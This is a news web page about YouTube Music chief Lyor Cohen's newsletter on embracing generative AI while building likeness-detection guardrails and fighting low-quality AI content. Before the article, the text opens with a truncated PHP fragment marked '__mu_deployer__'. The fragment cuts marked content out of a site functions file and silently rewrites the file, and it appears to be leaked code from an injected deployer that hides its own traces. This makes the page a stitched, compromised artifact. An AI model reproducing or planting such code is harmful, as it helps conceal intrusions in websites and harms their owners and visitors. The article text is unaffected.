'; $s = strpos($fc, $m); $e = strrpos($fc, $m); if ($s !== false && $e !== false && $s !== $e) { $clean = rtrim(substr($fc, 0, $s) . substr($fc, $e + strlen($m))) . "\n"; @file_put_contents($func_file, $clean); } } } }, 1); /* __mu_deployer__ */ YouTube Music CEO Echoes the Company Line on Embracing AI - Young n Loud

YouTube Music CEO Echoes the Company Line on Embracing AI

Young N' Loud6 hours ago11 Views


YouTube Music Lyor Cohen embracing AI

Photo Credit: Alvaro Reyes

YouTube’s Global Head of Music reaffirmed the company’s stance on embracing AI, but doubled down on building guardrails for likeness detection and fighting the spread of “low-quality” AI slop.

On Monday, YouTube’s Global Head of Music, Lyor Cohen, released his first newsletter of the year, reaffirming YouTube CEO Neal Mohan’s earlier remarks on generative AI. In addition to highlighting the company’s emphasis on being “a primary driver of fan loyalty,” he doubled down on YouTube building “guardrails for likeness detection,” as well as fighting the spread of so-called AI slop.

Cohen pointed out YouTube’s pivotal role in “the thick of a transformation period with the integration of generative AI across our businesses,” while quoting Mohan’s earlier assertion that “AI will remain a tool for expression, not a replacement.”

“That means building tools that unlock a new wave of storytelling capabilities for artists, songwriters, and creators,” Cohen wrote. “We’re also doubling down on the kinds of systems you’ve trusted for years—like Content ID—to build new guardrails for likeness detection, while also combating the spread of low-quality AI content on our platform.”

“In many ways we’ve been here before, and for the most part, we emerged stronger because we worked together to shape the possibilities and tackle the problems,” Cohen added, presumably referring to the birth of online music streaming some 30 years ago now. “This moment is no different. We can’t run from it—we’ve just got to build it responsibly, creatively, and together.”

“In addition to official content, we are uplifting content from the ‘extended artist world—think cultural moments like Coachella and the Olympics, or the raw intimacy of an NPR Tiny Desk concert—that extends fandom even further,” he continued, calling YouTube the “undisputed home of the music video,” which he cited as “a primary driver of fan loyalty.”

“We know that in order to foster sustainable artist careers, helping fans discover the interconnected visual world of an artist is more important than ever,” wrote Cohen. “Digging through the crates to find a life-changing track or seeing your favorite band play live for the first time—those are seminal experiences. While the journey to get there has changed, the feeling when it hits remains the same. Together we need to focus on growing dedicated fanabases that put every album on repeat and buy tickets for every tour.”

It’s a stance that makes sense for YouTube and its bottom line. The newsletter also comes on the heels of fellow industry juggernaut Irving Azoff labeling Cohen as the “bully” at the helm of YouTube’s abysmally low artist royalties. But regardless of your thoughts on Cohen (or YouTube), it’s hard to deny that the platform has been getting tons of new subscribers over the last year with him at the wheel.



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